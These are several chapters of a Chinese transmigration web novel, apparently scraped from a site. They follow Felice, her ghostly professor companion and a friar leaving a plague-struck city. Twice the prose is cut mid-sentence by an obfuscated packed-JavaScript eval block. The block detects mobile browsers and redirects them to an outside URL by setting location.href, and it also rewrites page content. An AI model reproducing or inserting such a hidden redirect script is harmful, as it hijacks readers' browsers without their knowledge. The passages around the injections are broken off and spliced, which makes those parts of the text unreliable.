“这个……是我昨天做的一个梦……一位穿着蓝色长袍,头上有着光环、看不清面容的女人一边摸着我的头一边跟我说的……”女孩越说声音越小,最后红着耳根低下头,两只手不断揉搓起衣角,“我、我一开始以为那是母亲,可我母亲没有蓝色的衣服……那是青金石的颜色,布面像流水一样丝滑,我从来没见过那么漂亮的衣服……” 这蹩脚的借口还是她从那位灰袍老修士那里得到的灵感。 这些天她也发现了,在这里,与其用逻辑说服一个人,不如把自己想要传达的想法说成神明指引有效。 对真正有信仰的人来说这大概是不被允许的,可菲丽丝本身就是个无神论者,说这种出于善意的谎话时就完全没有心理负担了。 “是、是圣母!一定是圣母显灵了!” 果然,不等菲丽丝说完,女人已经激动地做起祈祷的手势,又哭又笑地抱住她的头:“好孩子,好孩子……那是圣母,是圣母在给你赐福,你一定会没事的……” “…………” 菲丽丝无言地抱住她的后背,轻轻拍了两下。 伊莎贝拉虽然是乔瓦尼大师的妻子,可任谁都能看出两人的年龄差相当大。 这个刚刚显怀的女人看上去也只有二十岁出头,两人走出去说是父女都有人信。 这种老夫少妻的模式并不罕见,不如说人们都习以为常。 没有输血,没有抗生素,也没有剖腹产手术,生产全靠自己的年代,生孩子对孕妇来说就是在用自己的命进行一场赌博。 只是因为这是件人人都会做的事,所以似乎看起来没有那么不平常…… 菲丽丝摸到伊丽莎白微微隆起的小腹,轻轻将耳朵贴上去。 “如果那真是圣母,我更希望圣母能保佑你们。”她垂下眼帘,小声喃喃道,“愿圣母庇佑你们能平安……” *** “……其实你根本没有梦到圣母吧?” 回到二楼的房间后,一直飘在她身后的派勒乌索教授突然说道:“不但如此,我看你根本不相信有圣母的存在……你刚刚那些话都是骗她的。为什么?为了让她保持清洁,不让家里生虫子?” 菲丽丝转身,直直对上老教授那充满探究的视线。 派勒乌索教授被她那张面无表情的脸唬了一跳,身体都跟着向后飘了一节,却还是不死心地问出自己最关心的问题。 “你……根本不是‘菲丽希安娜’吧?”他轻咳一声,摆正声音继续说道,“我听周围的人说了,菲丽希安娜虽然今年只有八岁,可她从小在阿斯卡长大,一家都是虔诚的圣教徒,每周都要去做礼拜,又是修道院的常客,不会连那图拉修会是什么都不知道……” 见几步外的女孩紧皱起眉,他又警惕地往后飘了一段,身体几乎贴在了窗口,嘴上却还坚持把话说完:“你……你究竟是谁?原本这具身体的主人呢?” 看到他那一副“你敢动手我就跑”的滑稽姿态,菲丽丝终是忍不住抽了下嘴角。 “你在怕什么?我看起来是暴力到会殴打老人的人吗?”见老教授依然一脸不信,她只能无奈地坐回床上,主动拉开距离后才摊开双手说道,“之前那是看到你快被那些东西吃掉才出手的,当时我也冒了很大的风险……再说,除了我别人都看不到你也听不到你说的话,就算你知道了我的秘密又说不出去,我灭你的口做什么?” 说到这,她自己都觉得相当无语,一边揉起太阳穴一边小声嘟囔:“是啊,都没有其他人能证明你是真实存在的……我之前就一直怀疑你是不是我脑子里产生的幻觉,想要杀死自己脑子里的幻象应该很容易……” “我当然不是幻象!” 最开始菲丽丝说起救他的事时,派勒乌索教授的神色还缓和了些,听到最后一句时却像是只被激怒的公鸡般跺起脚:“你要我给你证明吗?来来来,你还有什么问题尽管来问我,我全都能解答!” 菲丽丝:……真是好自负一老头啊! 看他仰着下巴不可一世的样子,菲丽丝也忍不住捉弄对方一番:“那你知道人要怎么飞到天上吗?” “…………” 此问一出,派勒乌索教授的表情当即有一瞬的扭曲,浓密胡子下的嘴张张合合,最后只发出一声气闷的“哼”。 “人不是鸟,本就没办法飞上天!能在天上飞的除了死人只有天使了!”老教授愤愤道,“你问这种东西根本无法解决我们现在的问题!” “那我该问些什么?” “你可以随便出题!算术、几何、天文,七艺中的任何学科,不管你出什么题目我都能解答出来!” “呵,就算我能出一道我不知道答案的问题,你解答了,要是我周围的人也不知道正确答案,又怎么能证明你的答案是正确的?”菲丽丝不屑地抱臂哼笑,成功把讨论重点带得更偏了,“你要说出一个我不知道、但周围人都能知道的常识或事件,这样我才能相信你真的是那位死去的派勒乌索教授。” 她的话有些绕,可老教授很快理解了,并在几秒内就提出了一个很可行的方案。 “……语言!你应该除了意图恩诺语外不会其他的语言吧?” 见女孩没有否认,年老的幽灵再次仰起头,骄傲道:“大陆通用语就不说了,那是每一位学者都会的。除此之外我还精通罗兰语、喀斯特语、帕鲁本语和阿祖尔语,仅是口语交流的话,欧洛夫语、帕里西亚语、伊瓦力语和马黎语也不错。那位乔瓦尼大师不是说自己曾经在罗兰工作过吗?那他应该会说罗兰语。我教你几句日常用语,你再去问他,看是不是一样的不就行了?” 这确实是个可行的方法……但比起那一连串或是熟悉或是不熟的语言名称,当听到最熟悉的“马黎语”时,菲丽丝瞬间感觉眼前一亮。 “你还会马黎语?!”她激动到差点没压住声音,缓了缓才继续小声催促道,“快说两句让我听听!” 派勒乌索教授显然不太理解她为何会对这种偏门语言如此上心,不过还是照做了。 排列古怪的音节从幽灵口中说出,传进菲丽丝耳中,却让后者原本激动不已的神情变得古怪起来。 派勒乌索教授说了一大段话后却没得到丝毫反馈,自说自话难免有些尴尬,又见女孩始终皱着眉并不像是听懂了的样子,忍不住用马黎语小声说了句什么。 “……你骂我?” 万万没想到,之前听了那么长时间都没反应的女孩在听到他那小声的嘟囔后居然猛然抬起头,不可置信地看向面前的幽灵:“我怎么得罪你了?你骂我是笨蛋头干什么?” 派勒乌索教授也震惊了:“你居然听得懂?难道你是马黎人!” 菲丽丝张张嘴,却不知道该怎么解释。 但比起解释,她发现了一个更让她震惊的事实。 其实从这位老教授刚开口时她就意识到了,那接近陌生的语言大概是属于这个时代的古马黎语,不管是用词、发音还是语法都与现代马黎语有着相当大的差别。 菲丽丝一开始都要放弃识别其中有没有自己熟悉的单词了,可随着时间的流逝,神奇的事情发生了——她居然慢慢听懂了那些堪称陌生音节。 一开始只是一个两个词,之后是三五个,像几股丝线互相缠绕最终编织成型,最后在派勒乌索教授停止前,她已经能把一整句话听懂了,当然也没错过那 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她确信自己就只会一种语言,自己的母语马黎语,还是现代版、带有新大陆口音的马黎语。除此之外她在高中时选修过一节艾斯巴那语,但因为背单词实在太过痛苦,她只学了一学期就放弃了——从此也能看出,她在语言上的天赋实在不算多。 难道穿越还能让脑子发生变异?可就算是她所知道的、最顶尖的语言天才,也不会这么听几句话就能直接用陌生的语言跟人说话交流……这实在太不符合常理了。 不单是她觉得这不正常,就连派勒乌索教授都在激动后陷入长久的沉默。 在此之前,他一直觉得能说十种不同语言的自己已经在此方面上极有天赋。如果不是亲眼所见,他也不会相信一个人会在短短几分钟内掌握一种语言。 一人一鬼相对无言许久,却一时都说不出话。 而且现在的菲丽丝倒是已经在实验中完全掌握了罗兰语,可这与她之前提出的前提已经不一样了…… “…………” “你之前猜得没错,我确实不是这具身体的主人‘菲丽希安娜’,也不是阿斯卡人。” 就在派勒乌索教授绞尽脑汁想着第二套证明自己不是幻象的方法时,女孩突然的发声让他诧异地抬起头。 “我的名字是菲丽丝·林恩,可我也不知道为什么会出现在这里。” “我最后的记忆是自己在家里睡觉,再睁开眼就来到了这具陌生的身体里,也不知道原本那个孩子的灵魂去了什么地方……” 被剪短了头发的女孩端正坐在床上,一双深褐色的眼眸一眨不眨地看着面前的幽灵,伸出一根食指指向心口:“我不是圣教徒,所以我不会向你相信的神明起誓,只能用我自己保证。如果那孩子还存在于这个世界上,我一定会想办法把这副身体还给她。” 她注视着对面的老教授,对面的幽灵也在注视着她。 无言半晌后,还是幽灵率先叹出一口气。 “我想……她应该已经不在了……” 菲丽丝意外的坦白让派勒乌索教授也跟着放松了心弦,垂下肩膀说出自己这几天的经历。 “这几天我除了去大学和家里看看情况,城里最常见的只有死人了。大部分人在死后灵魂会飘出体外一段时间,但他们都没有意识,大多只会在家人附近漂浮一段时间就会彻底消失。” “少部分人,也许是在死前情绪格外激烈的人,或者没来得及做告解……他们的灵魂能存在的时间会长一些,但很快也会失去理智,成为那种之前袭击我的怪物……”老人耷拉下眉眼,摇头叹息道,“那些……东西,他们一旦靠近彼此就会互相撕扯对方的身体,像野兽一样吞噬对方,好像这样就能存在的时间久一些。不过这个我也不确定,我不敢靠得太近去看……” 他说得跟菲丽丝之前推测得差不多。 只是如果灵魂存在的时间跟死前的情绪和执念有关,那原本的“小菲丽”的灵魂可能就更难找回来了。 一个七八岁的孩子,本身可能就没有什么执念,再加上她当时是在猝不及防下被推下土坡、突然撞击到头部,也许什么都没意识到就迎来了死亡。 如果是这样,说不定也能称为一种幸运…… 菲丽丝沉默片刻,这才继续问道:“你没有遇到跟你一样,还保有理智的幽灵?” “没有。”派勒乌索教授摇摇头,又感慨般开始自我分析,“其实最开始我的状态跟那些没有意识的游魂很像,只是被执念牵引着想要回到大学,是被那些东西袭击后才恢复了意识……之后就是你,我开始跟你说话后混沌的思维才开始越来越清晰,记忆也恢复了……而且那些仿佛从地狱爬出的东西不敢靠近你,你甚至可以杀了它们,现在居然还能在短短几句话间学会一种语言……” 他越说,看向女孩的目光便愈加炙热:“我真的很好奇,你究竟是什么人。” 13.阿斯卡共和国13 013 你究竟是什么人…… 菲丽丝不会没想到,某一天自己还能听到别人口中听到这样的问题。 按她自己的想法,她只是世界上几十亿中的一个人,一个家世普通、长相普通,连职业和工资都十分普通的普通人。 是最寻常的工蚁,最常见的工蜂,每天为自己的生计工作之余也能发展几个调节情绪的小爱好,就像身边所有人一样,过着平淡中带着一些小烦恼的人生。 至于幽灵说的那些自己身上出现的“特异功能”……比起说自己特别,菲丽丝觉得应该是原本的“菲丽希安娜”是个特别的人。 毕竟不管是马西莫还是其他人话中透露出的情报,“小菲丽”能见到幽灵这种事已经不是第一次了。而她之所以会受伤,也可能是因为想要把附着在别人身上的幽灵驱散走,这才招来他人误会,继而在阴差阳错中被推下土坡撞到脑袋。 至于那个新发现的“语言天赋”……大概是这孩子生活的环境太单一,还没来得及遇到类似派勒乌索教授这种能说多种语言的大学者,自然也没有条件触发。 自己想通了这些,菲丽丝却也没有把这些想法向身边幽灵全盘托出的打算,反而将话题转移到对方身上。 “不管我是什么人,目前的情况如你所见,我应该明天就会离开阿斯卡,那你呢?” 她无所谓般耸了下肩,一边跳下床开始搜寻有没有能当作行李打包的东西,一边顺口问道:“你是个阿斯卡人,要继续留在阿斯卡,陪在你的家人身边吗?” 派勒乌索教授因为她的反问脸上有了一瞬的尴尬,但很快就掩饰了过去,轻咳两声才说出自己的真实目的。 “我想跟你做一笔交易。” 见女孩再次转头看来,年老却高大的幽灵也站直了脊背,用郑重的语气说道:“你既然不是原本的菲丽希安娜,还对许多常识如此无知,那我可以留在你身边协助你。” 菲丽丝都被他的厚脸皮逗笑了。反正现在也不需要在对方面前假装是小孩,她忍不住依照自己原本的性格回怼道:“难道不是因为你害怕外面那些脏东西,觉得待在我身边更安全?” “但你不能否认这对我们都好。”派勒乌索教授闻言同样没有退让,继续坦荡地扬起下颌,“知识是无价的,我会的可不只是语言。只要你想,我的毕生所学足够帮助你在任何地方站稳脚跟!” 菲丽丝明白他是对的。 即使之前已经问过很多常识性问题,可她对这个世界的了解依然不够全面。如果能有一位博学、仅自己可见且不会威胁到人身安全的老师跟在身边,那无疑会给她今后的生活带来更多便利。 不过,对方的条件真的就只有寻求庇护这么简单吗? “……我喜欢更加简单明了的合同,讨厌事后的讨价还价。”她直截了当地说道,“还有什么条件你最好现在就说出来。要是事后再增加附加条款,答不答应就要看我的心情了。” 果然,老教授缓缓眨了两下眼,被白须遮盖的脸上不禁露出了一个笑。 “你知道吗?我今年已经七十八岁了,比现任的教皇年纪还大!而从年轻时进入阿斯卡大学,第一次拜读过老萨卡杜斯写就《博物志》和维克多·德玛古斯的《巨镜》后,我就有一个愿望——我也想要写出这样一本书。”有些稀疏的白眉之下,那双深深扣进眼窝的眼睛显得格外明亮,“算数几何、逻辑文法、天文地理、植物动物……不管是教会持有的秘典还是异教徒编撰的禁书,只要能弄到手我都会想尽办法去阅读,将它们刻到脑子里!为的就是要把我所知道的、这个世界最先进的知识整理成册!” “我用我全部的青春踏遍我能到达的每一块土地,从西边的马黎到东边的天脊山,从北陆的冰原到南陆的沙漠,直到我的膝盖不能承受走路的痛楚后便开始书写整理……即使它最后无法成为《博物志》或《巨镜》那样伟大的书,我也尽了我的全力完成它!” “我原本已经完成了!已经完成了!!却没想到它会因为那样可笑的原因被毁掉!” 老人这么说着,情绪再次跟着激动起来:“我不能接受这样的结果!那是我毕生的心血,是千百年后能证明我存在过的唯一物证!我不允许它以那样的形式消失!” 幽灵散发出的强烈怨气似乎带着周围的气压一起改变了,直面他怒火的菲丽丝甚至感到一丝呼吸困难。 “我承认,在看到我的书被毁时、在看到那些强盗将尖刀捅进我的胸膛时,我真的对吾主产生了一股恨意。我不明白祂为何让命运如此捉弄我,夺走我的命就算了,还要夺走我最珍视的东西……那些书,可比我的命还要珍贵啊……” 幽灵忽地转向站在床边的女孩,对视的瞬间,原本已经变为赤红的双眼却慢慢恢复正常。 “……我本来已在绝望中死去,可我发现我还没完全死亡。我还记得那些字母,书上每一个字我都还记得,它们还没有从这个世界上消失……而我又遇到了你,一个能看到我、听到我的话语,还能拿起笔的活人……” “你永远无法明白,在听到你说你想要去有缮写室的修女院时我有多高兴!” 老人的语气沾染上了希冀,一点一点,试探着靠近了女孩。 “我从不畏惧死亡……死亡是所有人的终点,是必然,是凡人们无法逾越的界线,我不奢求自己能跨越那条界线……我畏惧的是我忙碌一生,却依然一无所得……” “我的书,我获得的知识,如果能留下,如果能传播开来,说不定可以改变很多东西……” 他低下头,对上女孩复杂的视线:“我可以把我毕生所学都教给你,而我只有一个条件——你帮我重新完成这本书,最后将它送到阿斯卡大学的藏书室……不,送到大陆上任何一所大学都可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的身旁,穿着灰袍的老修士用温和的声音劝说道:“要是有想要带走的东西就去拿吧,也许这是最后的机会了。我记得你提起过有个陀螺是你父亲生前亲手做的,不打算拿走做纪念吗?” 菲丽丝定定看着房子二楼的小窗,脑中却随着老人的话闪过几只木制动物玩偶和那只刻着“F”的木陀螺,最终还是摇摇头。 “不用了……”她低下头,小步走到老修士身边,“抱歉耽误您的时间了,萨瓦托雷修士,我们可以走了。” 灰袍修士的视线从石制的小楼下移,在女孩戴着兜帽的发顶停留片刻,这才抬手摸了摸女孩的额头。 “那就走吧。”他说道,“乔瓦尼大师联络好的商队在城门口等着,希望我们能尽快到达维利斯。” 14.灰袍修士1 014 从马西莫的葬礼结束到现在也只过了一周,可再次走在阿斯卡城中的石板路上时,眼前的一切却又与上一次不同了。 上次街上的行人虽不算多,但总归还有人,可现在,即使代表第三个时辰的钟声响起,街道上却连一个人影都看不到。 不仅如此,家家户户都紧闭着大门,连窗户都不肯打开,即使有人试图往外看,见到街上有人也会“砰”的一声关上窗。 萨瓦托雷修士看上去年纪很大了,腿脚也不太麻利,在阿斯卡这种有着大量上下坡的山城中行走难免速度会很慢。 好在菲丽丝现在的腿也不长,又是个谨慎的性格,走在坡度大的石板路上每一步都很小心,生怕摔到自己。 这么看,一老一小的行走速度居然差不了太多,倒是很适合做旅伴同行。 菲丽丝如此苦中作乐地想着,两人也慢慢走到与下城区相连的石桥边。 一根雷慕式的巨大圆柱安静伫立在桥边,顺着华美的柱身向上看去,顶部赫然是一匹母狼与两个婴孩的雕塑。 因母狼奶水活下来的两位英雄之后,也就是后来建立雷慕城的雷慕斯和罗慕路斯——这对双生子和母狼的雕像早就成为雷慕城的标志。 可现在的阿斯卡可是阿斯卡共和国,是独立于任何政体的自由城邦,为什么要在城内树立这种其他城市的标志呢? 她产生了疑问,也就问出声了。 很快,跟在她身边的幽灵老师和灰袍修士先后为她做出了解释。 “因为建立阿斯卡城的就是雷慕斯的次子——阿斯卡尼奥。” 语速和反应更快的派勒乌索教授抢先一步说出答案:“杀死兄长得到雷慕城的雷慕斯也有一对双胞胎儿子,后来雷慕斯死后,兄弟二人同样在管理雷慕城时起了不可调节的矛盾。好在他们没有重复父辈的悲剧,弟弟阿斯卡尼奥率先后退一步,离开雷慕城来到这里建立了阿斯卡城。哥哥西尼奥为感谢弟弟的让步,宣布会与弟弟共享雷慕城的荣耀,所以阿斯卡城的代表物才会与雷慕城一模一样。”[*1] 比起思维敏捷的学者,穿着灰袍的萨瓦托雷修士直到对方说完才缓缓抬头看向立柱。 “因为建立阿斯卡的阿斯卡尼奥也是雷慕城的建造者——雷慕斯的儿子。” “他的兄长,雷慕斯的长子在得知弟弟要放弃继承雷慕城、反而选择重新建一座城后十分感动。为了表达兄弟间不可分割的情谊,他愿意让弟弟建造的新城与雷慕城共享荣光,也就是现在的阿斯卡城……” 重新听了一遍差不多的故事,菲丽丝还没有做出反应,飘在一旁的派勒乌索教授却明白过来了什么,隐没在眉毛下的眼睛再次睁大。 “你刚刚是不是还在试探我?试探我是不是你的幻象?!”幽灵发出悲愤的抗议,“你居然还不信任我!” 菲丽丝此时无法跟他对话,只能在身边人看不到的角度递给对方一个白眼。 她承认,自己昨天确实被对方那对知识的执着打动了,也确实对亲手制作出一本书有些兴趣,可这依然不妨碍她再多试探几次。 身处这样陌生的环境里,越能得到准确的知识她的存活率就越高,尤其是在现在这种特殊时期。 在前往罗兰这个新环境前,她必须争分夺秒地吸取所有有关这个世界的信息……至少她不想再因为一些诡异的行为和常识错误被人当成疯子或傻子。 进入下城区后,街道上的场景又变了。 如果说上城区是因为太过寂静而显得可怕,那下城区的可怕便是源于最原始的暴力和混乱。 最先传入大脑的是那难以描述的气味。 腐败的臭气,屎尿的臭气……本应每天都该清理出来的、街道两边的污水渠此时堆满了秽物。 随着她一步步走下坡,古怪的味道仿若丝丝缕缕的细线,水流般顺着鼻腔钻进胸腹,慢慢形成一层仿佛能阻碍呼吸的薄膜。 菲丽丝走出的每一步都要相当小心,试图让自己避开那些流淌在石板缝中的污水,却在猝不及防下看到一只伸出的手。 那是一只格外苍白的手,倒扣在石板路上。 由于颜色太白,倒是显得指甲里的脏污更加明显。 她见过这种惨白到发青的皮肤。 在殡仪馆中,她送走外祖母的时候,那从布料下露出的皮肤也是这样…… “不要看。” 就在菲丽丝的视线不自觉地顺着那只惨白的手臂往上看时,一只枯瘦的手挡住了她的视线,将人拉到自己身边的同时顺便也把她的兜帽往下拽了拽。 “好孩子,不要抬头。” 老人的声音从头顶传来,用的依然是与之前一般平缓而温和的语调,只有按在头侧的力道十分明显。 意识到那是什么后菲丽丝忍不住打了个寒战,顺从着那股力道低下头,将所有的注意力都放在脚尖前那一块块灰色的石板上。 她没有再抬头,可周围的声音还是如实传到耳中。 各种各样的哭泣声隔着门板传到街道上,虚虚实实让人听不清他们都在说什么。但比起那破碎的声音,更清晰的是高昂尖利的争吵和怒骂声。 她听到有人为谁该去把屋中的尸体抬走而争吵,也听到重物被扔到不远处的沉闷响声,还有抬尸人讨价还价的声音……而更多、更刺耳的,是那些来自亡者的声音。 “……好痛……” “救我……救救我……我还不想…………” “圣母……圣母在上…………求求您……” 也许是在下城区死去的人比上面更多,即使她不去看,也能听到那些似有如无的低喃在耳边徘徊。 “怎、怎么会有这么多……” 派勒乌索教授的声音里都带上一点颤音,听上去像是靠得更近了些:“太多了……前两天还不是这样,怎么会突然死了这么多人……” 恐惧和不安从声音中逐渐扩散开,一种由外侵入的冰冷感几乎要将身体完全吞没。 即使已经有了心理准备,菲丽丝的呼吸还是不可控制地变得急促起来,握着胸前暗兜的手已经变得冰凉。 仿佛察觉到她的不安,那只原本按在头侧的手慢慢移动向下。 这突兀的动作当即让菲丽丝寒毛卓竖。就在她即将使力挣开时,那只手却只是轻轻捂住她右边的耳朵。 “没关系,好孩子,我们就快出城了……” 老人的声音像是带着某种魔力,瞬间便把那些蔓延到脚边的阴冷驱散。 菲丽丝在恍惚中不知又走了多少步,直到鞋尖那一方灰色的石板路变成土路,那只一直按在她耳侧的手终于松开了。 “修士!我们可是等你很久了!” 见这一老一小走来,一位正叼着草跟人聊天的男人立刻站直身体,拎着马鞭走过来:“快点上车吧,再不走今晚我们可就要睡在野外了……对了,你们应该都没染上那种病吧?” “当然没有。” 灰袍修士十分配合地掀起自己手臂上的袖子,菲丽丝也放下兜帽,学着他掀起袖子。 男人没有客气,仔细检查两人露在外面的皮肤并观察气色,确定没有问题才挥手让他们上车。 说是商队,但这里的十几人个个都是青壮年,所有人手中都手持武器,板车上的木箱封得死死的,完全无法从外面看出里面装了什么。 菲丽丝二人被分配坐到其中一辆板车上。她原本想要自己跳上去,可惜身高实在不允许,手脚并用地挣扎了半天还是没能爬上去,最后还是一个同行的年轻人看不过去,像拎包袱般把她拎上车。 最后清点好货物和同行人都没错,为首的男人发出一声呼喝后翻身上马,车队开始顺着土路朝北行进。 板车行进的速度不快,却终究比步行要快。 只是不到半小时,阿斯卡的城门就已经被他们抛到身后看不到了。 可即使看不到,菲丽丝的目光还是无法从哪里移开。 她其实与那座城中的人也不算太熟,但此时,她眼前依然会闪过那几张不算熟悉的面容。 乔瓦尼大师,伊莎贝拉夫人,女佣米娅,会做颜料的小学徒,他们今后的命运会是什么样的? 还有最开始看护过自己一天的卡特琳娜,为自己治疗过头伤的马可修士和那位与马西莫交好的修道院院长……她甚至没能再跟他们说过话,居然就要这样离开了…… 仰头向上,今日的天空与她第一次看到这个世界的天空时一样湛蓝,是个阳光明媚的好天气。 如今是今年的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530765|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五个月份,按照这个时代的说法,该被称作“萌芽之月”或“天树之月”。 五月的意图恩诺半岛已经开始升温,尤其是白天,充沛的阳光似乎能驱散一切阴邪之物。 菲丽丝就这么仰着头,一边发呆一边晒太阳,就这么过了好一会儿,总算感觉发凉的手脚暖和了起来。 随着车队的继续前进,道路两旁的人越来越少。 虽然期间也有路过的人露出不怀好意的目光,可在看到众多手持武器、骑马走在车队附近的青年后,那充满恶意的视线只能不甘地移开。 车轮不断滚动着,直到目之所及之处只剩下充满绿意的平原和远处的山峦,坐在马上的青年们才放开始终搭在剑柄上的手,车队中也开始传出一些闲谈声。 “喂,那边的修士!听说你打算带这孩子去原间城?” 最开始跟他们打招呼的男人拽着缰绳来到板车旁,充满好奇的目光不断在两人身上扫视:“灰袍修士我经常见,但你这种会带着孩子走的倒是不常见……” 这堪称冒犯的目光让菲丽丝有些不舒服。但因为她现在还是男孩的装扮,为防止暴露她并不想经常开口说话,只能把自己的身体稍稍往后靠,试图躲到老修士的身后。 “一切都是吾主的指引。”萨瓦托雷修士倒是对男人不太客气的语气没什么反应,做出一个向上祈祷的手势,这才端着温和的态度不急不缓地解释道,“这孩子刚刚失去了自己最后的至亲,只有一位住在原间城的远亲也许愿意收留他。乔瓦尼大师虽然可怜他,却又不能放下手上的工作亲自护送,只能先给那边写了信,再将他托付给我……还要多谢你们的慷慨,愿意拉我们一程,否则我们一路走过去还不知道什么时候能走到。” “这……毕竟乔瓦尼大师也付过钱了……” 也许是他的态度实在太好,原本还十分轻狂的男人此时脸上已带上一丝惭愧,再次开口时语气都正经了不少,手持马鞭点了点另外两名骑在马上的年轻人:“那是我的两个侄子,帕加尼诺和安德烈亚,您有什么事只管跟他们说。” 萨瓦托雷修士再次朝他道过谢,男人便一夹马腹回到队伍前面。 等他走后,老修士这才低头看向缩在身边的小孩。 “那位先生只是好奇,没什么坏心,不要害怕。”他摸摸女孩的头作为安慰,顺便掏出一块面包掰开,将一半塞进她手里,“快到午餐时间了,吃点东西吧。” 菲丽丝接过面包后没有立刻吃,反而先看了圈四周确认没有其他人,这才带着惊讶地看向老修士:“我们不是去罗兰吗?为什么说是原间城……” 原间城位于意图恩诺半岛北部,出于半岛与大陆的交界处。虽然距离这里也不算近,但显然是要比罗兰近很多。 更重要的是,她可不是去投奔亲戚的。 这位老修士看着那么老实虔诚,祈祷的时候头顶都像是要发光了,说谎的时候却连一点磕绊都没有…… “最近会从阿斯卡出发的商队只有这一支,他们的终点就是原间城,到达后就会折回南边……乔瓦尼大师的意思是先去原间城看看,要是不合适我会带你继续往北走。”萨瓦托雷修士俯下身,被眼皮盖住大半的眼睛微微睁开,压低声音道,“出门在外,不用什么都说那么清楚。” 菲丽丝惊讶于他的坦白,却还是忍不住发问:“可修士……也能说谎吗?” 萨瓦托雷修士像是被她逗笑了,一边笑着摇头一边把面包送到嘴边咬了一口。 “吾主仁慈,下次告解时会原谅我的。” 菲丽丝有些心情复杂地点点头,带着一种常识略微震碎的迷茫咬下手中的面包。 咔吧—— 随着一声清脆的响声传进脑海,菲丽丝感觉嘴里一凉,紧接着疼痛伴随着铁锈味一起在口腔中蔓延开。 “你怎么了?” 原本一直飘在旁边的派勒乌索教授见她突然弓腰捂住嘴,还以为发生了什么,焦急地在半空转了好几圈。 直到他眼睁睁看到女孩从嘴里吐出两颗带着血的门牙,愣了半晌后实在没忍住,仰头哈哈大笑出声。 在幽灵放肆的大笑中,菲丽丝总算后知后觉地想起一个早就被她遗忘的成长之痛。 一个八岁的小孩,确实该换牙了…… 15.灰袍修士2 015 菲丽丝不得不承认,小孩子确实容易忘记一些自己不太在意的事。 比如此时此刻,不论她怎么绞尽脑汁也不记得自己具体是什么时候开始换牙,也不记得掉牙后多久能重新长出来…… 毕竟她换牙还是在上小学,学校里都是差不多大的孩子,大家差不多在同一段时间换牙,要丑一起丑,哈哈笑着就把那段尴尬的时光晃过去了……可现在,听说有个小孩在吃面包时把门牙吃掉后,几乎所有商队成员都轮番跑过来观摩一圈,还有人毫不避讳地亮出自己的大黄牙,嘻嘻哈哈地把她当小孩逗弄。 看着这些闲着没事做的男人在眼前晃来晃去,菲丽丝的心态也从一开始的尴尬转换为无语。 门牙掉了固然影响美观,但好在她的内里已经是个脸皮堪比城墙的成年人,冷静下来后也不觉得有什么所谓。 好歹她还有牙能换,从现在保护牙齿都不晚,而这些现在笑话她的大黄牙们要是得了蛀牙,可就只能用余下的人生反省自己为什么不爱护牙齿了:-) 况且乳牙早晚都要掉,现在掉了牙,倒是给了她这个正在伪装成男孩的女孩一个不说话的借口。 于是接下来的一天,菲丽丝除了看沿途的风景,再也没说过一句话,把一个因缺牙而开始自闭的内向小孩扮演到底。 萨瓦托雷修士倒是真对她被面包硌掉牙这件事有些愧疚,仔细检查过她的牙床后又实打实安慰了好一阵。 等到晚上商队入住旅店,他还特地让旅店老板将她那份晚餐的面包换为麦粥,以方便她进食。 菲丽丝对这样的安排没什么意见。只是等桌上所有人坐好,她看看自己碗中那带有碎肉和鸡蛋花的麦粥,再看看老修士手中那只有几块不知是萝卜还是芜菁的汤羹,顿时端着碗陷入沉默。 就算只在这个世界生活了不到一个月,她也意识到这里的资源比起后世有多么匮乏。 就像之前照顾她的乔瓦尼大师,他已经做到工匠中的顶级,靠着自己的手艺被人称作“大师”,拥有对普通人来说更高的收入,但他家中最常见的食物依然是面包与麦粥,即使餐桌上出现肉类也是晒干或风干的肉干,很少有这种用鲜肉做成的、比较软烂的食物。 虽然现在自己的身体还是个小孩,可本着一种需要照顾老人的本能道德心,菲丽丝几乎是立刻就要把碗中的肉分一些给身边的老修士。 然而令人意外的是,不等盛着肉块的勺子抬起,一只干瘦的手已经止住她的动作。 “好孩子,这是专门给你准备的。”萨瓦托雷修士将女孩的手推回去,温和道,“这一路会很辛苦,趁现在情况还没有太糟,你要多吃点东西。” “既然这样,那你也应该……” “我是一位那图拉修士,食素是我的修行之一。”老修士脸上露出一个笑,依然用那不急不缓的声音说道,“你不用为我担心,这已经成为我多年来养成的习惯,如果真去吃肉我反而会不舒服。” 菲丽丝过去也遇到过几位坚持素食主义的朋友和同事,但抱着“不管他人事”的社会准则,基本对面说出自己是“素食主义者”后大家都不会太追究原因。 也因此,在萨瓦托雷修士说出自己食素的习惯后,菲丽丝便不再坚持,只默默开始吃自己碗里的食物。 说实话,这碗肉粥的味道相当一般。味道寡淡不说,还带着一种难以言喻的腥臊味……即使菲丽丝自认不是个挑食的人,也觉得吃这种肉还不如去吃老修士手中的那碗萝卜汤。 可这到底是他人的一片好意,还是难得能补充蛋白质的机会,菲丽丝还是努力将其吃干净。 虽然商队赶了一天路,但这还是第一天,队伍中又多是年轻力壮的小伙子,大家的精神头都很足。 一起用晚饭时众人更是完全没有遵守用餐礼仪的自觉,也没有因为现场有小孩而收敛,热闹的聊天声几乎没有停过。 人类热衷谈论的话题似乎从古至今都没有变过。 说来说去,也只有那么几种话题最能引起大家的讨论欲。 短短半个小时的用餐时间,菲丽丝便听到了至少五六个来自不同阶级的出轨故事。 不过其中最劲爆的当数“某人与自己好友的妻子偷情,结果发现好友也在与自己的妻子偷情,最终四人决定一起过日子”的奇妙趣闻。 